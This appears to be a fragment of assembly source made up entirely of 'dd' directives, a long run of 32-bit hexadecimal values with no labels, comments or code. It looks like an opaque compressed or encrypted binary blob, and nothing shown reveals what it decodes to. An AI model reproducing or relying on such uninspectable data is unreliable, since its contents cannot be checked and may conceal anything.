dd 0D8200FEDh, 0A0D54CE3h, 47EF4609h, 0CD818000h, 0BE0C331Ch
dd 0B11A2708h, 68ED0367h, 0A535FFD1h, 1C8420D5h, 5B21CC81h
dd 2B8E88E7h, 0BC271067h, 5626E14h, 5A0D0120h, 0B0F10029h
dd 0EBC8066Bh, 0CC632A70h, 0D93BE321h, 0D3F8518Eh, 349D0F5Fh
dd 0E84FF3E5h, 0BD409ECEh, 19E66E50h, 0C8467498h, 317ABA07h
dd 315BB4B1h, 0AB0084CEh, 12017AB2h, 79693019h, 3075831Eh
dd 3048C402h, 5D10B91Dh, 0E5E0EA0Ah, 2B00C48Eh, 59383EE0h
dd 265D4C29h, 3CD08BADh, 0F83FBA00h, 0FBA003B9h, 4614DD00h
dd 325D117Eh, 0A2A12EF5h, 106C29A4h, 0DC2ED245h, 8038A223h
dd 1FB0A754h, 225665A8h, 0BEFC9B26h, 0FBF80E00h, 9829E0C2h
dd 434C007Eh, 0FF76A3E5h, 0DF142FCCh, 0D2F0A4A5h, 0CC23E43Ah
dd 48B4DA02h, 9DA0923Eh, 807B116Ch, 863A6581h, 97022445h
dd 0E08E09C0h, 0BE8C9401h, 7ED824F9h, 0FE40711Dh, 10C9FA03h
dd 5093A2AFh, 250E1254h, 0A2700027h, 15C85270h, 926B291Dh
dd 682F0480h, 3FABD76h, 49F85781h, 0EBC0BB4Bh, 0A804E8CAh
dd 69F5B7AEh, 7F1354C0h, 587760F7h, 2BBE4C92h, 0DC103600h
dd 2E08178Ah, 545C4C8Bh, 1A3E71Eh, 0B9469D66h, 0DAF86049h
dd 4EB3444h, 21DFB10Bh, 22FCD093h, 0CA0EB3A0h, 0D5B1781h
dd 6860D8F2h, 74B972h, 36742DFEh, 8901E9A5h, 0AFBABB64h
dd 2093729Eh, 0EE805D9h, 4E203C4Ah, 0BDECE021h, 0EF702C01h
dd 368EE7EBh, 1177E0A0h, 2FB330C4h, 0AFAE80F1h, 1A0CAC15h
dd 0C5BCF8h, 0D0CA99B8h, 283CC309h, 8B0A84B0h, 0D85533AEh
dd 110D5831h, 0B908C60Ch, 0C4020BB8h, 8FE4407Eh, 0E0564C4h
dd 0BB311DA5h, 6CB29340h, 83E8825Ch, 5EF83D02h, 81FD4A26h
dd 0D9979AC8h, 507CF82Ch, 4AC6107Fh, 20A45A64h, 0B808CB7h
dd 0B6D85562h, 50636CB0h, 2C43C948h, 0BB04D539h, 328A36BCh
dd 0EFA20CEh, 0B206525Ah, 0B6D6D8B3h, 50C49099h, 14B590CAh
dd 98095A26h, 82CC40h, 0BBF5DFFBh, 403A4847h, 0E800F475h
dd 0CDC44CC6h, 3FA341Bh, 0A43B4F76h, 0B4C83118h, 8D0F9FC1h
dd 0C08B2AE6h, 30955BD6h, 0B5CB004Fh, 7747509Ah, 3E0F5857h
dd 60936C25h, 5F2AF8B1h, 0ACF90009h, 58D378D9h, 0C3004D42h
dd 9FBBCD12h, 7F8046h, 0A64C1963h, 0D5AF1D88h, 0DA7E3C00h
dd 969AC450h, 0DFFD02CBh, 1210A6F3h, 193F81E0h, 7C37F803h
dd 0C029F6ACh, 9E7CAh, 20245DAEh, 2D991078h, 91238600h
dd 1B2E174Ch, 0A9D10037h, 208C69EBh, 5548A881h, 78261FC2h
dd 0F498E40h, 51EDD077h, 0F6E8D95Bh, 0E6690C80h, 5A588981h
dd 0B4B0421Bh, 6C3BD830h, 25853072h, 5AF9EF11h, 947181C0h
dd 51F1D9h, 73D7C990h, 5E6C3C83h, 7FCFA114h, 1B4A0014h
dd 6D04640Bh, 0FFAC0070h, 7AE0D349h, 12603394h, 0F2F82058h
dd 85A0002Bh, 0DA6E987Dh, 5F00FF7Bh, 2A405012h, 74D535C3h
dd 99E10026h, 9AD80AEDh, 0AA0089CFh, 9286323Bh, 7AC3F41h
dd 0BD4483E4h, 66A64053h, 9F0090A5h, 1AB07160h, 1F21AF37h
dd 9F52DD2Bh, 24BA0E1Fh, 5348783h, 77D3B7C0h, 3F258B14h
dd 0BA571DA0h, 621D403h, 6728C023h, 0BDCF00A2h, 7BC2461Eh
dd 5A013C65h, 80FC3059h, 30805B0Bh, 7C1229B3h, 973BD28Ch
dd 755F001Dh, 6047DEF7h, 0A16A0AA7h, 80301BAAh, 0CE77C51h
dd 0B10074A3h, 0FA1E9E61h, 1762FE4h, 7C01D323h, 0C85FA072h
dd 483A114Ch, 0AD1E1FD4h, 78F7B300h, 0D1F33Dh, 2066FF74h
dd 7D013992h, 16B76B07h, 3E70A31Eh, 32F0565h, 368A26E4h
dd 59E0153Fh, 0E60377D4h, 0AD21D3AAh, 0E3B0B07Dh, 2D8A011Ch
dd 8C081A2Ah, 9DD6408Fh, 92EA9EF1h, 0DDD41F00h, 5DB84D2Ch
dd 4088DE1Dh, 7042774Ah, 0C3398CD7h, 3C2006D2h, 3287673h
dd 0CBCE52C5h, 0C4E0BEABh, 0AE05636Bh, 0B4A4247Ch, 64C0841Eh
dd 37111D3Ch, 0F4EF7B06h, 0BC9C01DBh, 0BD0E2E4Ah, 691DF81Ch
dd 547FD900h, 0CAB6F87Ah, 30FF740Ah, 1320BA4Bh, 0A100D89Ch
dd 802DE9B1h, 783E624Ch, 9BFC0099h, 700DA5F9h, 770053D4h
dd 5FD2E5CBh, 73521971h, 3D1100F3h, 0CA7FFCBAh, 6C035369h
dd 779A5FEAh, 130DA1A8h, 0CA27DF00h, 38394A00h, 92DD18E2h
dd 0F94000Ah, 1D613D36h, 0B0C04405h, 0C853E6Fh, 38DE12h
dd 650178F1h, 0BF076C0Dh, 0AA4A9619h, 7F3EA543h, 0FBCF0320h
dd 0BB1E2AEEh, 7F79D03Fh, 9AC36900h, 58E708D3h, 982E00E4h
dd 3E7B17BEh, 0F702B0A3h, 11FA87C2h, 3D84A03Fh, 31D9A74h
dd 49C5F4DAh, 5A87927Ch, 854B11A8h, 0A3C1D954h, 0A84CEF62h
dd 8681C022h, 94E7D86Bh, 7C705300h, 25F14613h, 8B5000D7h
dd 185F10BDh, 8C2AAD42h, 0E9F6D819h, 708D7E30h, 3DF1FBD1h
dd 0C7840806h, 80941554h, 3F090287h, 0EB9CFE00h, 28446168h
dd 45470319h, 0C8678B08h, 0B4B3FCD8h, 0D87FD600h, 5C0D4CB5h
dd 60F03044h, 30500831h, 9DC39405h, 0D4ACE9B3h, 1E2D1201h
dd 0E49E8AFCh, 0C73F9A6Dh, 97081D5Dh, 46514400h, 0CD833h
dd 5F5C9FCh, 0F42F58C2h, 81D1600h, 379B7AA7h, 312A18D4h
dd 0CAA51830h, 47022B16h, 0F56EDF07h, 54D181Ch, 0ED446A19h
dd 9E30007Ah, 518E862Fh, 0B088EE00h, 38336BEBh, 53165877h
dd 53282E33h, 42DB72F0h, 237FA105h, 0C6812839h, 2B70DD75h
dd 0B5C009Fh, 7F228A93h, 6600013Ah, 0E95780EBh, 10EC5Fh
dd 60EF0DB7h, 2649B5DBh
dd 6A73A301h, 6B44E953h, 21A10898h, 26769C95h, 80E11A3Ch
dd 468A6CAAh, 75A1258h, 0AFD5DB5Fh, 0E2C210D8h, 80000A05h
dd 0D496861Ch, 1D8960EEh, 0FB3014h, 43405D71h, 0ED00C01Eh
dd 35FA7E0Bh, 7155687h, 39AB013Eh, 385DC660h, 488E58C1h
dd 32F47DC1h, 0A2A81928h, 805B086Ah, 0C00F2E79h, 788C9E70h
dd 7A38C3D4h, 0EFF0BBFFh, 0EA004724h, 5FF24B52h, 0C03C31E9h
dd 0E8A27558h, 700022F9h, 0A9EECA64h, 45D7C54Eh, 625BE454h
dd 388D3631h, 9180342Ch, 33DA3F3h, 0B4001FFFh, 418DFC67h
dd 0FE3D942h, 9954D5F2h, 6CCC87CFh, 15EEC049h, 0B0EC6100h
dd 40E02B09h, 6E22E808h, 0B18020DCh, 0EB0AA316h, 0C0FD3250h
dd 80B42D3Eh, 66F1BFF5h, 0FE3D5DDh, 0ECA167D8h, 0B760C40Eh
dd 0A25703F9h, 0BA338300h, 0DC4F0C04h, 27453E73h, 2D704D80h
dd 0FA0563B7h, 0A714C203h, 8F593E7Eh, 0AB996600h, 75BC0027h
dd 5A2F2436h, 467A7D71h, 4BC65D00h, 91C745ADh, 9C220058h
dd 93D24909h, 0FE007E9Dh, 26516B97h, 0C3D0CB90h, 5BBB4FC6h
dd 94773AD8h, 80A59B3Dh, 0B8CC892Eh, 0A8D269h, 0F62F2BC6h
dd 481385DFh, 70A6C53Ch, 41014479h, 0F7822C23h, 31704DE6h
dd 0E30A00ADh, 18BB1984h, 0BC004290h, 5ACC3972h, 0A003B6h
dd 0F86C5238h, 43321ABEh, 247A2F00h, 30115040h, 257D0035h
dd 0A25947E8h, 5E748F0Fh, 2042C330h, 7CF453h, 7FC2DEEEh
dd 7CF84E9h, 2735200h, 57916E40h, 10C807BDh, 40BB5043h
dd 465B33C5h, 7279CE1Ch, 389849B6h, 1B18124Ah, 0B3F0A9C0h
dd 3D8B2201h, 334E99E7h, 20B809B6h, 79004BE4h, 837781BCh
dd 132C5F1h, 57113501h, 91C2132Bh, 8B8069D1h, 57E8B37Fh
dd 94105843h, 528D0741h, 0CDB3A97Ch, 3A17B65h, 0BDEC3F77h
dd 69E1671Ah, 0B148F3B9h, 74637411h, 887C2510h, 19C3BDh
dd 27613AF8h, 5233370Ch, 65D09800h, 0AEEC76BAh, 0A86900FFh
dd 0DD1AB85Ch, 8C050142h, 9DB38338h, 0AECAA9C0h, 0A2291D93h
dd 0AD304654h, 0AF006E74h, 56A8CF6Ch, 53B7E9h, 1B7A3F84h
dd 0FECCD324h, 0F06CE600h, 9C1FFAFh, 98F71D2Fh, 7F9280F6h
dd 0EABA5664h, 0E615F101h, 12A5AD77h, 29311C98h, 828B94E5h
dd 0AE7322E9h, 222C3422h, 0FE22CE19h, 9F082F03h, 882BC988h
dd 3C88937Dh, 0A93B880Ch, 9894C288h, 0BE417911h, 87816C00h
dd 56D040C8h, 61F0008Ah, 33A13226h, 60C0EA51h, 0DC7B3D70h
dd 6FDB00F8h, 0AA80D9F6h, 0F006164h, 0F0B73311h, 3C4620h
dd 0FAD6A783h, 8218A3E2h, 78A2880Bh, 0D7BF80AFh, 16D38A6h
dd 0C4577574h, 0CC1958BFh, 971F4E2Ah, 705CF73Ch, 52F12906h
dd 0ADE40120h, 5D67AF86h, 27A0FFFCh, 2004D8Ch, 0CAFA1F48h
dd 32D0989h, 66F3ED7Dh, 0E3B8EF08h, 313DA08Eh, 0DE548052h
dd 4CFF5CA2h, 667803CEh, 592C5E48h, 103D87B8h, 0B83B8D18h
dd 3C223756h, 9A80CF44h, 0F6DCDA78h, 0ED00C2EAh, 0BA7384E1h
dd 287B11h, 0D6885E4h, 31DB0AE7h, 9A9FA000h, 3FB6B020h
dd 0E5A0145h, 41BAF5Bh, 0D53C2106h, 275EC07Fh, 2D391C00h
dd 0BDA0F413h, 33760062h, 3F53B28Eh, 8900551Dh, 4195D2AEh
dd 0E622FEh, 7A18D35Dh, 40CD8468h, 0CC9B7702h, 80C366A2h
dd 0DCB276B4h, 2EC00010h, 0EF8F57D2h, 6C00B386h, 2906D4BDh
dd 0AC7F79h, 1EAFF1C0h, 0B5364D52h, 4905DB00h, 986F64ADh
dd 0C4721F5Ch, 0F0EFC40Fh, 69688025h, 8B03B167h, 65F776E1h
dd 41608A02h, 12F8FC5Dh, 0CEBA0384h, 519782BCh, 758CD4A0h
dd 92B0470Eh, 89D24068h, 5AF5A4h, 5595A6AFh, 77508AA1h
dd 6BA0DF01h, 5B62063h, 0B0A69040h, 138B00BDh, 88F09E54h
dd 2203864Ah, 6AC60B50h, 35A6C04Bh, 927900DBh, 3E95C98Eh
dd 472674F2h, 0A100319Eh, 0B3A6BF3Ah, 2CE800B0h, 3897AA75h
dd 4601A350h, 8FF007BEh, 67DDB8B9h, 1C58EFE4h, 41521D64h
dd 0FDA38077h, 6056F918h, 19F86D1Eh, 7C63593Ch, 7158C39h
dd 0A71AA64Eh, 8DE0F060h, 17FF002Dh, 0B569A452h, 49008CE6h
dd 0AF02811Fh, 874E80h, 727E5F2Dh, 78271DF6h, 0F017FA30h
dd 0B0F37390h, 0A6AC009Eh, 0C2F2A948h, 0A0007961h, 5F0BD2B7h
dd 36972B3h, 5522D41Ah, 0A38064DCh, 9103E961h, 0FD57AC80h
dd 7D31EAC9h, 98A0F5C2h, 0D2FC70D1h, 8601FBF8h, 9BAE3F6Bh
dd 4F7078CFh, 0BA240175h, 5F903947h, 4263E055h, 573F8B00h
dd 0DADCEF50h, 0FEC0093h, 0AC859792h, 547FB670h, 7B031800h
dd 84A6256Eh, 0AE73B8h, 7EFF5EA7h, 970F7C1Bh, 4EF75500h
dd 80FD06C1h, 1C4D7A21h, 0C0326665h, 397B0E9Dh, 62901B77h
dd 0A3091D01h, 0FB28907Ch, 25DBE8h, 54AE12E2h, 944E3946h
dd 0EDA85201h, 56499BCEh, 4BC4A180h, 92F41F1Bh, 1ACD750Fh
dd 801E2FB1h, 60A1C8B5h, 4C55000Eh, 0D6F8AA22h, 1603641Dh
dd 0A5B5C3B2h, 2B54F0F3h, 63B300DEh, 807AFBFEh, 78007D74h
dd 129F214Dh, 0BB1B864h, 4657EEBh, 0DD7FA180h, 3A71BC94h
dd 0C929F800h, 0FC44B039h, 0E28C00C5h, 4026E4FBh, 60065CBh
dd 18CC5730h, 4E9252h, 0D93732D6h, 8C594101h, 0BB8B7A00h
dd 5C72A2B4h, 0CAF800F1h, 924F3971h, 37E609A8h, 0D9B2B13h
dd 0FA212C00h, 19545C8h, 6516F4Dh, 0CC8757F6h, 9D12C75Bh
dd 280013F2h, 0BAAC3868h, 8014073Bh, 4747C1B0h, 30EEF7EAh
dd 6AA7A33Ah, 0C3519100h, 0BA5E567Ah, 0B714Bh, 89A9B231h
dd 0F10FBEDDh, 0FF7C2B02h, 62BA6Ch, 0D3E68799h, 0C96080h
dd 0ACE37992h, 0C2596873h, 0F974A900h, 6F397E34h, 64223F38h
dd 0B8B1DB00h, 0FBA75E0Ch, 0CF695800h, 1F78A1BAh, 0C6F924F6h
dd 2F668348h, 0CE00880h, 0E0B4AB1h, 1D43BF3h, 0C1BAA014h
dd 10B87DCh, 0FAC28AA7h, 80EE9608h, 6421ACDAh, 103441Bh
dd 0BCE14975h, 8068F3F9h, 3F0E7676h, 0D37A64h, 9683B374h
dd 0ACA0C463h, 36A1B100h, 0FB41F189h, 85E640h, 0D03AAA55h
dd 4B01F8BAh, 944DF500h, 0DE7C1F89h, 8FF90006h, 878B4A9Bh
dd 0D30029C0h, 4590A12Bh, 0A0A375h, 405E17B9h, 0BE9499DBh
dd 7DCB5707h, 0B8301B38h, 20C879h, 5BB7CCDFh, 60C3C21Dh
dd 39FC8302h, 404072B5h, 80FA61h, 0BC2FBFFBh, 0D9C85547h
dd 200417Dh, 0E986CABh, 98B00C85h, 207A13CCh, 0AC9C0052h
dd 0E9359DDBh, 8CB35Ch, 0DCF1E378h, 7A468C11h, 8EB4A06Bh
dd 1CC0005Ah, 0CED707ECh, 0D403CDAFh, 5216FC31h, 0FA72B3F9h
dd 79B460C7h, 0FAD5058Dh, 83A67DB0h, 8FB1F94Ch, 0EE75C468h
dd 4EE39A0Fh, 146FA045h, 5094E8BDh, 57880BBh, 0BE730BADh
dd 8C44084h, 2D233E29h, 5C64050Eh, 85A442E2h, 1BCC8079h
dd 2AB90Ah, 0ADAC9F7Dh, 76AF99EEh, 0CAC8DB09h, 0CFB8005Bh
dd 5066F8h, 5A878D1Ch, 625D9A6Ch, 0B5004974h, 3D24B34Dh
dd 0EA6DCBB8h, 0B1801F6h, 5749E248h, 9801F333h, 0BE0F2E7Ch
dd 0F86463BDh, 232500F3h, 0B7E35324h, 0E426C1C8h, 3C076C1Fh
dd 0EFB911h, 0ECBFA4CFh, 0AC101E29h, 91E28031h, 0D60FB550h
dd 302C90B2h, 0C420A926h, 44397C00h, 5AEB5751h, 2F50ECD8h
dd 0CAF028FFh, 9985AC04h, 0AA80A383h, 3AE98852h, 6C00A49Ah
dd 0F0980ED8h, 8A24D06Ah, 0C0074F6h, 93835F38h, 0DD6C01E7h
dd 51ADECAh, 21EC372Ch, 43658773h, 0F769CF08h, 0D5508F00h
dd 9C7E3492h, 637FEC00h, 78E5D0F2h, 358A0EF0h, 14E31840h
dd 6890220Bh, 0F20449AEh
dd 0EBEE031Eh, 0C9C2CC0h, 7CD737Ch, 0DB70465Ch, 170F2068h
dd 0E7F28AC2h, 56280903h, 0D872294Dh, 0F2C7FFDCh, 0ABF50038h
dd 0F1E8CDBEh, 391F0551h, 0F447EAE5h, 0FDD09995h, 5D62B909h
dd 0E00000E9h, 56D610CCh, 390702D9h, 14E7AF1Eh, 0AE59EF61h
dd 0CD8F60h, 8D8501AAh, 0E2535B57h, 814FF100h, 9FA6D6C9h
dd 5DB8A060h, 0D01426EFh, 396A009Dh, 0C99C1DE8h, 903F9E28h
dd 0E20057FEh, 2183E040h, 1293599h, 6A77F8C4h, 0EEE4988Fh
dd 6FF400E0h, 0FC554F00h, 2B89D728h, 8428C00Dh, 0E3F53A94h
dd 451AAD02h, 0E0FA02B9h, 7AE4038Ah, 340D00C6h, 0DD7E3655h
dd 0B3007FA3h, 0EEE0B121h, 4C4366h, 0D799498Fh, 0FCB01F58h
dd 69D4F200h, 0B01DF37h, 0DCF000EDh, 4C94BE4Fh, 0F11C7D46h
dd 834335FAh, 0C067FB39h, 0F4ED1122h, 70957EFEh, 521B00BBh
dd 0ECBA887h, 0F024073h, 0C62DAD36h, 5BB080FEh, 9EB441h
dd 0EDA2DBA3h, 7E54B332h, 0F5367303h, 804E904Fh, 3FC9945Eh
dd 100D8EFh, 24A2E243h, 360EDD13h, 8FB234h, 63734B38h
dd 0D6D001A6h, 0C487B6FAh, 0C0402813h, 0AF85CCA0h, 0E89EB04Bh
dd 18C900B9h, 771C84E1h, 7300D598h, 6392597Bh, 9D86DDEh
dd 0DB3D7558h, 7EE5D460h, 0FA441C96h, 0C6395481h, 7D08F4h
dd 5E128B59h, 5D36B3AEh, 87D7402Eh, 0A1C68101h, 0FBD05087h
dd 0BFC70751h, 30A582D6h, 92C8E53h, 0EF6EE700h, 0B267A821h
dd 6F3B0547h, 0AFFAF20Ah, 2F160880h, 0F0250065h, 0A430BB0Eh
dd 0B300559Dh, 45AC2CCDh, 0B848CB8Bh, 1D5CA17Ah, 9D8130h
dd 46902BD0h, 91EB97B5h, 0A6FAC5EEh, 0D73DC0Bh, 5B40A054h
dd 3F7DEDB6h, 0E23DBF39h, 627E2280h, 53CB76E1h, 1483E51Eh
dd 2B9FA6BAh, 0B18E7500h, 5C906E8Dh, 0FC04B00Ch, 0A0CC6335h
dd 0A40080DCh, 74E5C1B9h, 4CDEA9h, 0A5D924BEh, 45C3C7E2h
dd 9194401Dh, 4044364Ch, 506100A1h, 490938B0h, 1D02928Ch
dd 0ECEB66DBh, 0BAA10FDFh, 2CA4CC1Ah, 0E3811D5Ch, 29557641h
dd 0B1E0CF74h, 0C2A00007h, 2332B2Ah, 4E6C0F9Bh, 7AC490B0h
dd 0ACEE019Fh, 25898A64h, 576EDC29h, 1A1FEF12h, 6D63F840h
dd 383E43AAh, 0FC0BD373h, 14800C51h, 637956E7h, 577EBF00h
dd 0C6268A61h, 0CB8500B9h, 0DCAB70C3h, 81B872D1h, 2022B000h
dd 8699EBCFh, 9C90A5h, 0B97CB555h, 64460B7Eh, 4296171Ch
dd 20AB130Eh, 69CDDB2Ch, 91C33F6Dh, 18BA3998h, 70004797h
dd 0CD35F0ACh, 3879CF0Ah, 5A80DC29h, 0B28D6B80h, 0EC039D89h
dd 0E5622406h, 763A847h, 528E00F6h, 9D7E3A68h, 0C7005ED6h
dd 75E8059Ah, 5794EDh, 3DBA8482h, 197B9CADh, 2E0FDAFAh
dd 256F52E5h, 0BC00E68Dh, 27A8E049h, 0D9B10F1Eh, 71C0F8F0h
dd 761D713h, 0C0D12901h, 30EEFC8Dh, 28DCE4h, 0A1EFF9BAh
dd 8F754C9Ch, 0B4ECAB00h, 0CD19F6BFh, 0BDAD0E87h, 54AB90A5h
dd 353D5000h, 6BFA3E0Ah, 0EBA88FA3h, 2AC05FAAh, 1757AC81h
dd 49FF00CBh, 54F2F3BCh, 85009C83h, 5A09E84Dh, 1F869B18h
dd 0C0067C6Eh, 93802E98h, 8C005EEAh, 0D7B71FCFh, 48C083DDh
dd 7B0B70E4h, 0F4A0F764h, 0BEE3B0Ch, 82F9CD07h, 0A5904CD3h
dd 1E716C1Eh, 0C0A1EC8Bh, 7D4FC6F1h, 0AA162DEEh, 1B00F9E2h
dd 648B2A97h, 0A4B65061h, 8245000Dh, 6F3CBE3Eh, 6C07A4ECh
dd 87360AE4h, 0D6540560h, 0E63242Bh, 53013C78h, 2AD0156Eh
dd 3F24D479h, 5A6C20E1h, 8BBDB900h, 905C2EEDh, 3C7F41Dh
dd 0B70442Fh, 0B80E8006h, 3377E4B8h, 0E1823D00h, 1C38358Eh
dd 0BD705FF4h, 0D147C381h, 0FC5088CFh, 0EC005B03h, 0F1E4338Dh
dd 0C2B0F8h, 0BA59655Ch, 0FE8ADAD2h, 0F52D291Eh, 16B34F40h
dd 71E86h, 95B4D8E1h, 0E43BC725h, 80466D3Eh, 0BDA32213h
dd 0EA3552h, 344A913Eh, 0CF888D3Ah, 51695D00h, 7CEB85Ah
dd 0EC3E3BF8h, 0F29D7403h, 1FB8F689h, 54BA4210h, 79A9D81Eh
dd 8BA1048Ah, 0D134B100h, 1943B3h, 979180FAh, 5D22C03Bh
dd 6FBCA601h, 0B428FBEAh, 0EC221F8h, 2CF68D52h, 71AC5C02h
dd 977D5C40h, 2E4CD780h, 404C56D1h, 120BE3A1h, 0E5C048h
dd 0CC0E0815h, 3EF4F5Ah, 742EB6DCh, 6DF9BBB1h, 20B4500Ch
dd 0F000F287h, 0AA1BD289h, 0DC15FE12h, 4C0D5D30h, 4C287C46h
dd 0AFF7FB01h, 228F681Bh, 10123420h, 177ED29Dh, 0E503B11Fh
dd 0D830D58Eh, 1765834Bh, 0BE36772h, 0DF000B58h, 136D2EA9h
dd 1287E52Dh, 31ADC060h, 89BF0024h, 5F451BE7h, 9500C6F6h
dd 0F2129F94h, 15E0B0h, 7090FFF8h, 84BF5D2Ah, 38E5DA00h
dd 0A7F36C56h, 147B004Ch, 0ABD9F4D7h, 0EC019F90h, 0E7E25417h
dd 0C4602723h, 9DFA0048h, 0AF67FDA6h, 2B3C5A16h, 770900F8h
dd 7598F6B7h, 0B0150F99h, 0AF00379Dh, 0EB9F51F7h, 94C92A00h
dd 22A95462h, 93ED0049h, 0ACAF4B44h, 0A80035FFh, 875D8550h
dd 0E7BB9D3h, 5FA63795h, 12F6EBA0h, 0D717D1B7h, 6B009AF8h
dd 364A849h, 599300EFh, 36051A94h, 6A00268Dh, 7FCEA280h
dd 4D5C516h, 0D46171D9h, 0A80CA0EBh, 57F96D00h, 8E289A8Ch
dd 799B7456h, 0F84D7108h, 3C92D4h, 0DB078229h, 0CAF28B25h
dd 448E1D00h, 456AF7CBh, 0B8A061ADh, 8014DFE0h, 26A39959h
dd 0B7B7062h, 59E28178h, 542DB800h, 6B70FC71h, 0D1C98A00h
dd 80DA1F6Ah, 0E707039Bh, 0C1431389h, 2E5EB598h, 0E534B61Fh
dd 3B852000h, 0DAAA0Ch, 186E8B3h, 33E37107h, 180115F6h
dd 0B002475Dh, 0A08038FFh, 0EF247513h, 0AB003495h, 2E4C8AA1h
dd 192F831h, 6F07AABEh, 70308C0Dh, 41556B85h, 99900C64h
dd 62788307h, 0DD40CB92h, 50D47471h, 0EE6B10E8h, 0E639C0ACh
dd 2AF28DBDh, 0ED281A00h, 1B7BDF6Ah, 0E57907F7h, 6757FCC7h
dd 0A8EA3093h, 0C5071ADEh, 1F0910EFh, 0B3B56FC0h, 0C4623BE4h
dd 0FC98D880h, 71BD1D08h, 59F0A900h, 91A3DFCFh, 2AA00EB9h
dd 6D40B15Ah, 21E39E6Eh, 0EE1FE279h, 0E94E05B2h, 10F40751h
dd 4CA97Ch, 706334CFh, 6BAA1D8Bh, 3078533Ah, 445721C9h
dd 99A4004Ch, 6F2A3209h, 900782DBh, 0D69405EAh, 1D453020h
dd 52933CEBh, 0F22FE080h, 7E8E6F71h, 38809050h, 81A74403h
dd 0D19ED57Dh, 6D2079D9h, 5F590B83h, 720EF3E7h, 63AF20F8h
dd 0DA50C70Ah, 0D27020C6h, 98078C6Ch, 74D75B9Fh, 89304Ch
dd 0E1FBAA86h, 5CA8A7Dh, 2A8D953Ah, 5EE6C8F6h, 0A42FAA00h
dd 401A652Eh, 41D9F992h, 692000EFh, 0BA3FCD08h, 343F0357h
dd 33581D87h, 0E71A811h, 2FEB45DAh, 81F454C2h, 28B39EC0h
dd 1F9C1754h, 2003A47Dh, 39F9CE32h, 0C922EF12h, 3FA560F7h
dd 7D1A3719h, 2A2FA0B1h, 0C80649A0h, 0AFD9306Ah, 0BD8506E0h
dd 788E6C6Dh, 0F6EE600h, 9CD7275Fh, 57DB2894h, 19AA0D98h
dd 8898E586h, 602B44C8h, 56903F23h, 91335321h, 5F3CA1h
dd 9B7D23Ah, 0B0FB2818h, 0E340004Dh, 9F970CBCh, 0E2304921h
dd 0A0BB30A9h, 2B4AC09h, 0CAF1AA6Ch, 4C188DCDh, 43A681AFh
dd 0DDF8A3C4h, 4600630Ah, 51FC1BF3h, 24AE6EBEh, 9498D12Ch
dd 28819C10h, 0F026CCBBh, 0D8A8C7E6h, 1600E271h, 6F689A0Eh
dd 3B0EDFEh, 17844DF9h, 0DB8925Fh, 8C65DC0Bh, 0E83A6999h
dd 0BA00A323h, 0E42549CFh, 0CDAD0082h, 950D2EDEh, 8C769BD0h
dd 5231B0Ch, 0D0762E77h, 9F3FCC38h, 7D22D000h, 4EEB24EDh
dd 2725BD3Ah, 0B91C80D1h, 0ECBEABEh, 3FAF1705h, 0C148E520h
dd 4105CD20h, 9198F796h
dd 0BC10DC2Fh, 2C03C0B1h, 5273F791h, 0CA07A038h, 338ED34Eh
dd 0EED0FD1Fh, 27309706h, 99E021F6h, 284200CDh, 0E5FE14D6h
dd 0C4602AD8h, 51DD5359h, 20660A87h, 11A419BBh, 3F228729h
dd 32DB57D1h, 6A88A20Ch, 0B43A035Fh, 934467Bh, 0EC082087h
dd 9F54D377h, 9C058288h, 0A7E422F5h, 0B22AEB00h, 91EBDF43h
dd 28D8001Ch, 67639A35h, 84524F3Fh, 64EB71A9h, 98527885h
dd 73FC0500h, 632B387Fh, 686381A9h, 31568181h, 5AA4FCA8h
dd 0CB09807Bh, 818F9895h, 0D969784Ch, 3E5FE058h, 85085DD0h
dd 4842EC0Bh, 0EDBE0053h, 620ECBE9h, 5F749017h, 1D0A546h
dd 6ACE03D1h, 82838481h, 0FBE20EA8h, 2A65D502h, 0E034736Eh
dd 1706854h, 0E6BB2693h, 0EFAEDA1Ch, 0D52E81E8h, 7C2608FEh
dd 5A916428h, 9CAA6D80h, 208CE5CAh, 0D748AE4Eh, 326000B0h
dd 8C02826h, 774D013Fh, 7A138A2h, 2A8C50DEh, 0B00048FEh
dd 0F3F439F6h, 2FCC08h, 0A2B1CB65h, 4D85697Dh, 0E30188A6h
dd 2586C9D0h, 7208EAB5h, 71525440h, 71931ED1h, 0FCB8241Ch
dd 0F6914900h, 0F8BF60D3h, 0F7C5173Ah, 0CC0CC047h, 0F225AB1Dh
dd 0CF77C070h, 5AFC0027h, 0C5E355AAh, 85090D2Ah, 90D75FE8h
dd 7E6F114h, 580A3CA9h, 78C09042h, 0F2004CB7h, 0CE98022Ch
dd 1E33193h, 0A658D9B3h, 0F45D6015h, 130A568Dh, 0C0A0BD69h
dd 0A0F6215Ch, 344EDA92h, 52E04765h, 0B098F205h, 613404CDh
dd 32779B70h, 2A2D201Ah, 2909DB42h, 0E0F32CADh, 0B85B7D90h
dd 0C7B80084h, 0F62F276Eh, 8092DBACh, 6576691Eh, 6B75A500h
dd 0F1D47116h, 0E29457C8h, 0F618B2E2h, 0EC4F5669h, 3D08D02h
dd 546C157Dh, 1540A44h, 34E6EAB3h, 0D870C9C3h, 6E01B6DDh
dd 1A611B8Fh, 7080647Ch, 22D443B1h, 0A7059C80h, 0AD788221h
dd 6841880Bh, 0DA949Ch, 5A984CBCh, 5F81A283h, 38029972h
dd 2A73CE23h, 5C80A718h, 8B688B63h, 7FA90312h, 937D29DAh
dd 72569838h, 1A82753h, 706D34F1h, 0C70C2C3Bh, 13E5988h
dd 0D4168F35h, 30774FD7h, 5491AEB0h, 86B21AF8h, 18EA8C01h
dd 1E1028FCh, 0A7CB6980h, 735DDC6Ch, 2E428C00h, 0C2560384h
dd 58FFC47h, 812C8BC0h, 103C3AB1h, 0D7C0B1C6h, 564385BBh
dd 95732A0Ah, 0D39D9083h, 0DCAB02C4h, 376DCC8h, 0F708E66Bh
dd 0B8E080F9h, 62EAAAEh, 42620C61h, 3F891840h, 23565E1Fh
dd 0F91B98E1h, 3A720695h, 0F197BD30h, 0E43314ACh, 1676008Fh
dd 0DBCD9A4Ch, 0CE2415F1h, 0D8473852h, 0D1BA60F8h, 0BD217D20h
dd 53368825h, 0EAC4BF00h, 0D015EDh, 3FFFEF81h, 8C6EF03Ah
dd 2450C738h, 9CC3A407h, 6370F034h, 18448622h, 33F5002Ah
dd 61DA2E5Ah, 5800C7A6h, 889C6AA7h, 98F43FAEh, 7B4FEE59h
dd 0ACD5041Fh, 0C00C8D87h, 3117359Bh, 0CDD6F700h, 7BCCB692h
dd 32CB3B06h, 0D03E2580h, 41EFDA20h, 5C6B6600h, 585018Ch
dd 0E0D500FDh, 7133912Eh, 0B67B257Ah, 6034CE0Ch, 0B24052h
